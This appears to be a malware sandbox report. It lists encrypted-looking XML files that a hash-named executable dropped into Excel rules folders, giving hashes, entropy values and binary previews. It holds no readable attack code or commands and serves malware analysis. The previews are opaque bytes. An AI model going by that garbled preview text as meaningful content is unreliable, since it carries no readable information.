C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.743976885847716
Encrypted:	false
SSDEEP:	24:mR8g8+6vq9+p82GEfM8IScxc3TrzldFmcI5kbD:mR8gT2q9+pjnU8IScm3f7D
MD5:	66D40AA0FD919ACAA02E6A505A23C4FF
SHA1:	C163E2D46943E90A3DAA6EE877BAA05B32B1A96D
SHA-256:	9B4EAF3773ED841C339E2B7AE55C9C81534D75C04BD518D6031655CFA3D1D1C6
SHA-512:	63599794485C09CC0A6A652D946A4B8FA97516BD9DA1AB367ADF76B5A91B2B15BCD67F268A3D11B5026898E2A6C2EDAE3373601A8C3D3EFBC80DA232FF445350
Malicious:	false
Preview:	<?xml<.8.5..R....G..GP.6....^..l(.a..A.....s:..vP2j...^..-.v8..&e....,`[.....B....H..d....!....b..I.MZb&ouF...wA....P?....b......<>...H/.Z.....m..]M..."n.7..sT..I4..5k..]...,......\o.S-..$.'.Qj.b.F.-..fU6.}....>,....F....\?.........9h..P.D7.}.U..x.sJ.. .K..#. .....o!Im.jE.$..7e..;.^..\|.......n..A.1...m.$.o..U-.T...$.>Poi.Oe...xa...........`}Y..i..3..5.....qvV....~.W....R.^...D..=.0[T. .G.&...pvE\yo.b....~.........}&z......:..d._.W.ZP...n.......+GkR....0....:v{...f.Eq....<........<.......3..50.p......%....o0+<.._g.....C.[S+..........Y... Xn.-..x......U...C.].q.a..e)T...\..If...L....l......iG...%.!.f.../...o.op.+e.8.rB-+...;.w....?......W......f....@y.v.x.....e..D.K..t.....R...'.I..@lb......<t.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.902739727084241
Encrypted:	false
SSDEEP:	48:Ouf1lepgvleUuI8wO8iTPZYAcRBLgEHPLOMmAepoA0ypA6DFD:Og1lrNeUZ81JZYAcnL6NAel0SD9
MD5:	F4F10D382A2CFC25373B43E20C1924CD
SHA1:	37C05B571D6AFE14D3C1383FFDD5D7AF5E6CCD2E
SHA-256:	E6F042884065575ECC48ADA229CDA152CC26748903A9B7B5A4ED8987475AB6DA
SHA-512:	6D797739953058C031962225EF769C23650E8BEEB6DAB6951586ABB70952E2555EFE70F61EDCE823102D5B9257F9702884FFF7202B16FC569301D7AE4A008CA9
Malicious:	false
Preview:	<?xmlu..0.....LC...J.H....g.CszG.A.V...Z.."..-.sy...G..>8.}.(..0......m..6.+...6.6.N.I....>."...........z!..\\|...J..}...1.......g.pd...J.M..JH@_.....o....q..#7C.\h.d.~.E./....q......"..6.....H.g...q"[..C..-....X&0..GR".=..8K,F.!...0.i..H&Q6.MG..I...}F>D..!.M...Bu....tw.3KP..6N...e.@...........5.a...$?K._.k........L<..n..3..P`b...@e.tl\.e.O.....R...,/Vn.,J'.z0.:.[......oY.<..I..U..r...7M....\|~.S....`sR..P..x.x>.{...qT<`....\QU..r9"..@...r.....X".SO.Ff.2.y..+....PA.K.Y..../. `_dE.#)......C.m.5...e>I..K..^.^!..~.:..(.O=.M..O7h..D.\..U...2+......F..>".Z..T......b?...#h...#.acu...k=..i.......~..k.....'..*.#..3....#.......-..7Wb.eM..2.\|J.(.Q.].>.<.^..... qq.O.'\.......4..}.(..;....-.../..v....C.\.v".-...V..X...P.4/...QP.S. X..]>-..n..<.4.R.E.+3089~.4!.I.Rz....,..mI9..j...N.y.C.....kb9cm.Bn...X.B...!C`B.....O[....\|..#.....c...E..l,N.....A....0..o.OF..7..(......6.a.]....-Q....{R(.....ziL......'...m.Y@..o].%..=...;....z..q...+..7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.702572955583726
Encrypted:	false
SSDEEP:	24:VOjDxBNM09wr4Azfw7mCG17ZCNJ+fQnhykbD:VOjDD7qnzdCIeJ+YND
MD5:	93AFB6B33139FF08BDE127AD3DACF936
SHA1:	6A391C14B3DF1745665A42600908E87884AE32AA
SHA-256:	CCEFB95E6E8872A41AA8076D7106E71ED29219C0FF040536C8F5F3825F6FA16A
SHA-512:	A2860BCDB300D6F206B0A000C39BD312F2217CA9776E6656C1E655026EE4D2D35799479E88D560B24C359C9D315A44F0A3D50C99120913E35CD1AEFB01131D1E
Malicious:	false
Preview:	<?xml..L._i.p."~..q9G...P..^x0..N.3^..#...!F.:......E..Q..SV..l...-...q....0T..x4..g..L.E.9c.a....}5.S.b..-......51ro............. ...=".....-.(A.s......Q..".......F.a..J8J.....k.....$t...@..3.c......S.i..2.z\|..a..7.......PAw.....2.8g...z......m...H.X.-.a...+Z..`%.1X.....%)..2t.&.......K.%.<8..^[..yBml....\.^1..4.."qTXC.DB.Y.G.]4q....V...(.pyv.9.P.B7zo!..3....s...W.>I..H/...+.9.A...W....H....oN.N...h.....I.3...L.....F.lZ.(^MRBJI.q..y...@.L.R...?:.p....q .....c...Ph.o&.u.'I....I....m9..v.}.9FE.l}8,a...O..d.....uy...\|.U7.B3>.'k...N...}...GG%.Z..L}.....'6..<\-Pa..U<..,...t...og/...^.\|o...#w..5d.~.l...q.u.....2.......F!.......[.H(.(..Dz%X>.Y.... Z..."..Z.r..:pRmq.+dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.929861004078153
Encrypted:	false
SSDEEP:	48:r9XwHh8YL9jslBQpbwqWounVswDwGYYoMwZ7Fl46BwGNCmSVHpMAejVH5DTGMtDD:r9wHhvL9jslHnVsW7YY2ZU6CECmSVHpm
MD5:	DFBD520BB7E33A425E054B38E2E276ED
SHA1:	7C9CF7C0A1FB489CE87D0F90366887B8309E84A5
SHA-256:	806BE534EDAE43835FC5C692DBF04F83A56441981DB47A8F18490C54D465884D
SHA-512:	3DDBD7E6AB65F45D10CB2902EFF2095A44D5FE8F10714C0528A0F361E21796D20FB3165C1AE0DEC4886E41F80CE694BDE01268F3C6FC5BCE332900C402A45419
Malicious:	false
Preview:	<?xmlS..a...+...8....x.e......bu\|[.... ......\|.4...m..x...rK.. ..t..0....GzV..G...T....{..e_Y..I..j.fo.`.di...4.....T.tD.2f..UT..........q.b.Q....B..@.'d.,%.dh.....v....<+d !..D..5..8.W.-.5 .....0I.W.(.J...{C........V.........^.Y.XP.v..Kl3i.d.]....W.,!#]...............=...c..p]2>..^.q.8(!....~#. ..~.A'....rzG.,.hN..N....!....v...S0.3}........0^.6&u.$R.x..{..=.E.o..x....&..9.+S...~H.[....{i.,.\}...G.?......,D...J.mr..N@..+^..,?......e..\|....,.>L.Dr..\.4..,.W7K.g....@Efi....8...$FO.07.wM..Bc...P.._\|..Px&..."\...a.Z.L....Vr.....u.\.'{....}....%.CP.5..P_..B...0...p.....H....EEo...9..gh...p.Z...)..Tb...U..........x.w,...l&..N.jQ.$a..%.]5....A......h0!..m....h..yz.....b`..d..-.!...a,t..y..4.r.N.r.t+.....bpb.Z:...........n#...ym.j.x.\'....]U..s....>Y0+...<b...Pa...ig.....}..D.Nmd.2.4[6.x..\|...W.....)hw.f.G...R f6J.r..4......w..#d.&.Ru..L>X....w.3_S.....e..8^...SU....\|...P...<...j..L.).u...-...~....{.n.......%..a..*.k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.932430263751278
Encrypted:	false
SSDEEP:	48:YC9sQkeDo5V1QurR0vySyMwlSwe4pQoRSoHj1nmkzDq1f4HBcjhdhCziApAY83vJ:OQkEohQ/IMw4p4pQSTxnmk4QHB8hyIj
MD5:	B8C3AB2F5B21331A19FC1129A0CCC112
SHA1:	D7B121C5E752A9FEE5D89ADB0DFEB07182253A9B
SHA-256:	7A598366DA800C01DD7E63153FAA2B56E46EA09DA1E79AA8BB4CA9C20452BBC7
SHA-512:	678081B39688A284D0E2E38463A6FEBC2E722AB08BBA75F71631832E30572F7285C2426883512D6496846162EE1A2507DDAB52AAC3ADBE085C4AE3C01004A22A
Malicious:	false
Preview:	<?xml3w...r..d.y....n...I...#.. ..>....._X.).E..j.'....VsJ.w..i,..Dg......H...MT..3.\....!?H.#K+.....?..8....E.T2.?...u'}=.}..- p.z..].g.).$.d&. .N.&......+J....?.u...%...k'..QR2.r...L.7...q..k.S.<.A.7=~.B..Qpd....0D..E.....Vt9.v.q. ...p..1-.['U<U...8.@.Az..GN..^.$.1...Bu6>.~.....'..........Z.<yc..V..[.Ylr. ..u.;...8Y\|W....._..n.[...p..%?........3..Y...G&X..........w4.d.]k.=A&.......F...,.S..._....%Z.._..'.Ie.....~......y.....<.P.Bw..%.D5t.j<U...].(... .x+..px...Lt.`.........XW.....1d.......F?4..;..N=...f.d.g...(@..X..)..0...e..._......86Q,A.e;..i.y..aj....].{....y.@.c.....+.N..........I.3.LM......v%I!....;.hX@..<.'.a.Y.....{-z..n....b.9...]).9.....u.y..b#.LC8.)RhJ.p.u.R...yM.../m.U.)`^>..x.9r.%."y.Ii......p.n.>.8.t......\|..#...T.k.twQ........\|....6..Z{Bk.......wJ.....T.8..?%...Gz.=.Ads.....V.Q5..... .B..].N7.._..?$.....$.4t.H.B.F....{..3.r.e..S......p.WI@...g..a00..z..0...j......t....A7..(D..."..\|.!0\.ya.^.v...RQ..2_H!...v.{-....}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.951006351572333
Encrypted:	false
SSDEEP:	96:AA7z/ow2DcyBFG4pchGIv5t8wcuKOSabH+2iieRpy/DDL0b6v3LD53N:h7zZ2DcyP+khuKla7TJIpoDDX/53N
MD5:	5E31BA0EFC83F9531C0963CF0D1388D5
SHA1:	ACB588DE26085237116B992990EF096A4A5964C3
SHA-256:	97C652EF06CD961D1BA3A2F2C2A7F27D2984B3BC60638D46A639FA40640390CE
SHA-512:	AB85557F37B500274436A2F1E3529604BF9114C56EDD4A7744EB1111BFAB3566B1F50AEECD03E6C60EF7E9CA1F3A65C02BDF232FDDB57B4FE5D02D5496F638EA
Malicious:	false
Preview:	<?xmlN.. O.P@.k${_7......T. d...^..z\|Y.....,PJ...._.qL&...k....u4.-..H..yG.Np>-..E...b.-....0.D.wclh%-+.\...t_..u^T.qp......{..=...f[.......A.\..lZ..$.g.%.,..U.q.....qHA...a=.x....M{=oo.-.,......Y.............8..f<A....mCi.....9...b..,........v.g.r.=I.4..=...i..\.9.=].s..M.On....Cz!w.....(S....w.e.4...?.....8.V.~..d........-.RB...h.3.;..c ..:..4....Th.....g...;.......qY.C"Y.q......k....{..o...,@b.....F..:4.1.,v..n.Q.....N..Z.!V[Z....n..Y.....W....l..W..5.a...;.d..7.^j....vU.6..R...C..s;=.J.9\e......j....r..;.9.Q.Z..!K...g1....Qm.D.~)1[.s..R.X.h..u....%...6.\|..p%.."..8E{........_@...^......V6.....~...,r/....#/.[R6.c....J.7....]%."...i.\|p...F.`./,V.z..:.B[..;...1.N..`..A.2'q.O..L/..uH....aF.9b..3..^....(h....r...$...<o...n.%...'.b...p.{U..f....!h........c_.yI..Rj.k.,....t.l...=e.....'...z...=p..:.M.f...i...(.5.Q....z......l...0j....uQ..3L....;..w...:SX....?.'U'..$Fr9sUQ..mK*..lE...=...(u...b...v.D....tR.L.4.p....P%D...P..H....;...0z."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.857983893080984
Encrypted:	false
SSDEEP:	24:g57mGG8jr1KqYut4ziSBy6byNN4yyKPSW6+YYc8wuMt+ze0IxicxPUzkbD:gQGGi1K0nSBVWVyKt6vMwu3zzIiWD
MD5:	DBB3A7697D763A329A1D76DE80B60E2C
SHA1:	831F10251140D453D0E668CAE6BBF1E3E1172500
SHA-256:	6C163C10ADDC56105BBE85E57B7F85DC49CA76420579E4B88035A00BB807CAD2
SHA-512:	4D3AA894C4EC78BF56A842288A43ECB8D0A1DAE47B4B1C19AEE184D22EDDEE0101CBC2DD476BAF4037229676AE809AC55FA970A43B412381973D390793580278
Malicious:	false
Preview:	<?xml.v.......#z=.h..X2....w.]kao.6G=..N...A.`..C#.[/.U.eP@..'5R.8.z...._$.[.~......nfA.T.4r...l.....}gs..EI...C.)7.2xd.%...\.^.....uJ$i.y.q...-d^.....\S..9....s..M8.w1J././6....3.)3.D....v\|......e..!aq.."..O...R..D~..J51..N.H4C-..v...\..GUP..._..#.At..%VB.b...94h.K..k.HTT0.b..]..t...dS..nt.....#...4.......^.U.}.{g~OyRX...S...P..k.....p.....5.....EI..g_..>.b\<....7....Y.......:P;,...lpH.K....V...YW.8.l..;..q.#........I..jo..4..G.s..-6..^....."..mPv...#Vg..yx..m.M.!E7..3.R.z..Z.9F....Z.......r.v...`.m...!..s..._..g.-.....C....ww.......Iu.\9..CJz.]g..}...:....q!.C...`..........#..F^...UOW..d9....v.O..Xp_....~rt?.A&..aB.Fp...i...-..LA.56t.*.KI...F..+....+..Q.\|..Q....7o....H..@4..6Z.....l..%y.v.....<.q.....!.X....N...(...p....qD.......]...[u@lx.Y..V.......aO..s..E....='.(.._.D...M........Or..E..$$H\|).b.X........:.?5D.>i...i..Z.!.....W.>g....SO<.b..%ma..;._...8.o.D.L.j.0....s~<\..$(y.`.Xm.G'..9....'=.......3...^..MI..yfN..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.85752713768389
Encrypted:	false
SSDEEP:	24:ZOi7kAF60kE/A1tgEJ7CWBmkd7povZkxL6H3t/eUyPSjzzApENroMI0rn2/VO5VI:si7kpnxJ7zjdN+RZSSPEpEFfI0b29O6B
MD5:	6F77C81221CEEFE7DA3175DC516CA6A9
SHA1:	23157DAFA20559E263ADE1EA976CA7B91976AD64
SHA-256:	6B7F353B2A196DD8E7B5D8F5A71E64EAA77E7E85521449818658DFDCDBD01C94
SHA-512:	24E4C966FAF83E703C97351FF4F355C965401D49E5BAA554B7A76F802D24333A36F0188D7F99CD5BA0C91B359A141B93F4DFAF5C5D5293625342707E8CD24D1F
Malicious:	false
Preview:	<?xml..@....i5n..X.zK..."......M%k.Z............+}`'.Y2x.uO...,.W.S....:cs...j...B.]Dz3.[k.W.EB...X.....Z.......M(..P.l.....I...).......#})H..W...N.r.....0..@Q._.....u.....%.\.e..3~..9...rI^...?....s.W.)....>..9...\|y.u0.".M.o..V.=.............Z...2a}.5...K....+./..vDq)9M...1.N.6..H.Z..=6....V...L....>t.7b.G..2i.'...l....c^O..cmA..Gn..q.....OfJQCJ<h%q{x.R..v....E..a....G.".gsA........-.1b....y.0....y.......)...e..../.......4...p.9\.4..N._.Ct..0.$...p.1?l."X@F. x.Y....1...U.1.s4..O.M)R.....u>.S~(..[4A%.7.@$B..G...P..x.."7..B...Q.n.....m.Q....h.#..:...ZZ..@...l.^....w...p8...^..1T..YpW..l....#}.Z..T..y.../.c........I...c....Q.%w..s..C.;._,M.....l.H.JY..\|..%l?..P...3j,~"......C....H'..0.W\....V.nw...<.I...zz.Qr.....#..!. r.3%...M..4"n... .......y-...W.}....{a.i^.....Z.rZ6hl....o...f....!?0.....'..P}m..3te..Y.F.V....v.aA...aM...E2...y+.....f.f2q.pGq...`.!.}.u..;...ex..d."$...n...........O.6....a..R.......r.Ok.`.@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.800615294195375
Encrypted:	false
SSDEEP:	24:Jffgr7NgUv3B17yfTRZYzIEpptRClJgkZGYgAFw5qR8tjkbD:Nq7vZRIKzjrtRCfPZTgrqRWyD
MD5:	C1323C6497A1A4CB9988E4AC7510611C
SHA1:	54DD2A887AE80A311CC25713B201DFF3D4ECC444
SHA-256:	6C4FE3A3CCD1954B04A3FBECEEA301E67F1B902AC61D1BDC86A746024432F586
SHA-512:	5082EEDBC43ACDD1E2912A85A77D9203C3C893E98471857916D87A25CFA8928C91A972FE83E52D12DCF7DEF9648240049D5F288E115323FD81F5CB921D97160E
Malicious:	false
Preview:	<?xmlJ....\|..].ID.N.._.L}<...'in.E...Rm.N.4.p....J.@{..F...H.U..q5.v.k. a..p..\.F0..zn.U!.d..Q.l.@....9.....m....G<&...,.k.... %...M.....uu!.0Ft65.#.q4..].@.CYGL...#...G.}~.... .G..3.e@.?Tf.0...x.....!'.Z....}.."........#..........m.HR..rj(.5.G.......O...@..H.{.(..>~Nw...s.k4./....>A..dc.p..`.......p..\|...b..w#.@..gF...pE8......i..,...R-..>.B..`e..D.....5O.=....,..z..]....7..O.....E.\5.... ..t....R_.=.].=<cRl..Ned....J....t..y...=T.#...[.$..b...y......b..G3!4k.......=..l....q.e.&X/.T.#.M...rh.;.u...3.wB.=e.0.N....../..............&m....}..Q..W.p...X4J....`...d...Op..>..<Q.......0...P`=..!...z......<!..=."....F.\....y.H`..v'...V.s...........J-.e..._.m.?..wH...n.."LO..0. ..R.h"..3I.9aM2........0...1._"0..5....#.g..S1-!...y..A!WO_y<..jHtR.1D..{h........W...^.0.TZp.......q...u.....%yl),.....GF...7...... ...,..(......V...G."Wm..\..U..l....q.n.x.P7..P.T...Tr...a.....\|\|..Cw.<.#5..J......{..B..V.y$W~..R?fa.li^t.yJg....\.v..j.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978942713284657
Encrypted:	false
SSDEEP:	192:EdiFgTLz8Lt+N+HhuCbwC7gZeiAxQadsBzn:jFkati2kC0YOsQMEz
MD5:	0281A4A6A0B0D3C440CE6AD8A896B16B
SHA1:	5D6F9001FC53CBF049750BE898FF8863D2C0FBF5
SHA-256:	59B4A291E7CEEC6DAAE61C7155E9500600C20E582892C824C3686E47773D97AA
SHA-512:	702FF9B3256B0C02EC833D35F82BD030713C22B6F3297E3DB3974BE9CF8D9A1AAC07118B619B70EC916CCB73222B481F630BFFC0D2ACC5B5AA7C2C879DE9008D
Malicious:	false
Preview:	<?xml.\/......)N.....A6Z85f...LRy..j.....<..A`...j.D..2b...<m..g.^.Ayw#....7I7[-_....+..G.$.;...\|..MzWH...........b...k.!.h..,....k..:?S.....2).N...07..\.@......0..U"9.=...%....{.....-..\...\|.]Y...].....:....;..).BY....B.LR.1`..N.v......B...m...a+.$.i1k......7.........7;..;..D..Y.......z\.i....6."+.....~L9J.vY.o..5.G.V<..'"-..>.i...+...u......F.............pc.Q.,m...\|.hw{.jn....D..I..UM.....a3.~rQ.J...L..AY....$...(CB....l.>..S.Z....Po.g.:W....V9....w.i..P!...t.<.....-.Cd.v.p~Z-g.gH.:..W......5.md.4 .o.d..ND...dI.........c.."A...D...0.U..7.Z..g...B.....7D..yN3......zr`.......<.e.......fC....e.),.Sy.~...MB.NS.{Y..)t...S}....cX/@Yu...fo..!Mw....M..<!..nUI...l.<.&."'.7.{..ee.h....%..,u........\E.2...y#...^.......\|...Uf*!_6/.SBM...x......HS'.Q....Z..U...Y3.<.?..R.....w..V.B.x.D.l.\.{2.!......U.d..;\rp........l..c.0VU...y.fZ$Y.._..>..s..'...+..W5.. ..fa"....+.......r...b.....l...Q.HP.3.W n.OX.2b'....!..F.....n.J.N&.v\|..u....[5.W...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966471522591899
Encrypted:	false
SSDEEP:	96:P9uAIFx32ala5XxVFGmnelitG/7fC3Ltzyk5LWHSNRRMe12x2SEEvN:PoAIv2alSXxVg5lV/7fC3LtWk9NrvK2G
MD5:	D84660A38FEE95634C5356561B1A7512
SHA1:	78FE7F5D4FEB501FA07D6B6D5B281D261A9FAC4B
SHA-256:	14D926EE342B254D2F73EF479E1FCEFB7D150BC27AE6617412023B6B29FD2371
SHA-512:	04A97769E6AABCEA89D1B6D1EF4F3CF1A1D93E95257B05CCF3BFBC8DCFB35CA3CAF04D6097D6B1AA7890670C27308C9865B1EF3BAC324FEDC99B7A7078F2D33E
Malicious:	false
Preview:	<?xmlaIM}N....}.0n.CM}.M.^pP....3$.3.:4.g.~q#.7..e..0.0.P...\|N..m..X..G.+`.u#S..i.....[o..!.d...\|..p..p....&..\|!..2w<\|.(....Q(.Z.o.?.2R9x.nl....G.0.._-..F...&...~]..........9U.........a..kvho...t7Gf....{.o.vU,......ERF...~..h"."3......^bz......4.8..Bk.9..k0......+..F.7.A(....O.X.....Q'`E.>..W.2x,..\..2.\|..b...........S.W&..{.r?.....o.K.x...[...Y..e...G.S../..!/7o.T.y.....sm..9Q...m..j0j. ,..u...2...@..)[..j../.9.....1x..-.0.t.@........A...J9.?4.j..QU...H..y....". ....OK..^.scq.....-.....AXTcY..9.4A..U. ..MV...u.H}f.....@..-.. usE...:.\|..?........`.G.:\|.=...@.....'eb)S....(.-.~.(.x<O^y.....:0.......IJ(Z..N/...Wf......9...LE5.C..v)...0y.....<G...._.)V.#l.B.z.hr.)..E.A....2..Jx7......lJ.L...RZ.k..4...Y..I>8`...^t..K..6.s.H.Lv5.\.O0...5.,..,...%.S.GF7dSZ.w\|....Ey.\|.....p:.....y..@..J.\%ZI.Z.c....ARN._<......?.Y../;9...{..e<.x.....n..ZK......[..}.E....m.~.l.j.V.e.9{S..g.Af/v.k.1.....T-.....s.,.}....?....i...W.."..)........u.&.}...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.961937483470904
Encrypted:	false
SSDEEP:	96:sKvNG1N+NfFce52bhbLO0ZIk2hs3shIFcA4S7MN4+BEg4ld8lix:sXn+NKeSj72u8yt4SD8t/e
MD5:	96667D7524EECFDE86BFCB20AD1A9965
SHA1:	BDCC73B56BC2838EAD2613BBF7A2FFEEE24D1B7C
SHA-256:	E05809E0DCC52517FF1EF8FDED94E94CCC39534EC168F5E54CE19E75CFE1F0AB
SHA-512:	B25728F6AD548845DDCC98F1EF2B68099EB1CC3A44E553ACE198F5938ACB96E250678C21D03BB90F049DB1CC70713550F19CDF9FEB108AAF39C964F6A4929FDB
Malicious:	false
Preview:	<?xml.T.T..ursM..H..8_....c.[.......)..9...Z...P(+..3Q..F?..!......,."+..F.e/`.$GTM...v......q..2$...S..W.......%..P.....>.Ld.f...^..z.0.%#'.a..$..Z!0CE`...h.r........</y....r.)...0U...Vn.5...!.>.H..<^.,.....(.T...td....P.......l...}.I..C<...!E_.bO.G..^~,.....}.0....m..pRzh.Fl.....E.2...<J;.3....x...L...E...k...x..i..W...$....;.\.C..T.sY...#..D..`Z..Gx..~c=.....!.9......K...e...#siTM...!P.......U.....AC.^.kGi.@e.....&$...."....b..i.....<.......k.=......>o...@=6.v.sb.H...T.$..]..to.....#.(..g0.@Fu.j\...1;"Q....P.ES,t..S.....^3.oJ:.3.f.PF....Jrh...R.T...K............"..1..'Q.d.......*F3..j.\f0F.!YV.j~~....=..qg....I......K)...X.w..a:I...Q+.../.....=.=?....h....P....w..k..f 7.J....p.CWQ.p...`H."..)4x........ot%..{.y.C.O...yM?.~<...o.i%...c".m.....1.\m..7 .....,...N=v....4..D.C.w.}r;..0.....-#guhWP...{..,5..n.v...c=v\..kDp..Z..gM&U....([W..d.c+../.!.>.u.1.f...q,....[..>...i.F....a.B...l.....W..o.7..U)1..........me=...Ff2K...z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.954258935012579
Encrypted:	false
SSDEEP:	96:fAbggMGyi0NU6UyxxwoqX5yd7RSKI+qwGB/N0DKXqSapGGWs44v97z7079y6dXy:fAb3e5RBxq05RSKI+qwGB/jGFWX6xvuS
MD5:	81B6411036FE3601A9E661F18FC6DD19
SHA1:	E431FC5462364E9BF0838F07A1FBD60629D2409D
SHA-256:	597540089CE148825B027FF6AB7E2B852C91B2224607D47B395709D4D54E2D51
SHA-512:	14997F147267B1AB9691EC8FAA8405C9D8C170B635BF203E955E85E2EA3B3F22D493491F97736DFE5DFE3169248ED19F2A3F1347E3A66F684FAA3D7E7B2EE7E5
Malicious:	false
Preview:	<?xml..(.1.B..b...a..^ ..4..y.!.l.&.2.Q.`."..... '.......i.A..~.$s....:.].Z.9.1......2..x.jl.c..0.S?C+d..L..%.0-...4e..._q<..6.[.qN..n.OkNe[.>.x...v%........o..d.^...Bh..^..k~wPN.$.h. k.w.Hn.F..&A.lS.&t..P...EN..`>.....$K..H.!X.[...yt.2..n.G[....vdj...uZ.b....J2o.t..Re.....e..ya.h..P..g_.....s..K...U..{...v<%..S...=.U3.>11.......?........"..]@..x.Z..sj.......Ux..baA..6....)C.....m.rF...H..R....X..r..f.....;.z.\|u.. .'[R.Z.cX..\|.9Q.g.+..Y....RW......_.....\.....hN.-...l.h.....c8-e..u..a..r-.:\|..p/.,.[..>.,x#..u.w..-.....c.8.O.&..>...}U.....FL.....T.=M.......:.I..}...._YR:....{.R..e.s....,@E.'h...k...z.i!..K.$..9...g.....1&.w..7...t.C.}]ov......$'^...a.sW...r..Np..T{y q....7.r...8Ks..H...G...z.....s.....D-....'.[.!-..8...Y!$@..y.'l..3n}m...]..r.X'..[u7^G53\|0G..QA...(z........-"K.....\.LsT.._[.".R...f.(.....o.R..W){M.@=q.}....3..]\|......`....0..@...[93..Y...9".D....U8K.....N..P6m.....HZ.@....8I....@.l.Nz.gq..`...z.9.".a.....w.\I.G.....>.u.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.939788163474898
Encrypted:	false
SSDEEP:	48:cm2ERu406iIicQu1uqXOtJQWpfubVNieE60qH96eTjkQGKZBqCx7RlZJMlQLl9ot:32zdcicLuqXGJQWOiehH7kHOtlZSle7K
MD5:	E81976A97564C3C1F8E7D22E4BE5A319
SHA1:	5344C4BFAA45E9007C539C0EFD434BFCF1CD6ACA
SHA-256:	F53D997B089400CD153DF89253E42C5BAB106887DF86FC262813EC8032BB106F
SHA-512:	88EAE371F7CABCAC975C86D5674303C1B89D7D17D7E619BD16DEBBF9CE60202B5FECE6F39F0D957127E71D7892BC9DC0182320AF38326562D2824DDE00658281
Malicious:	false
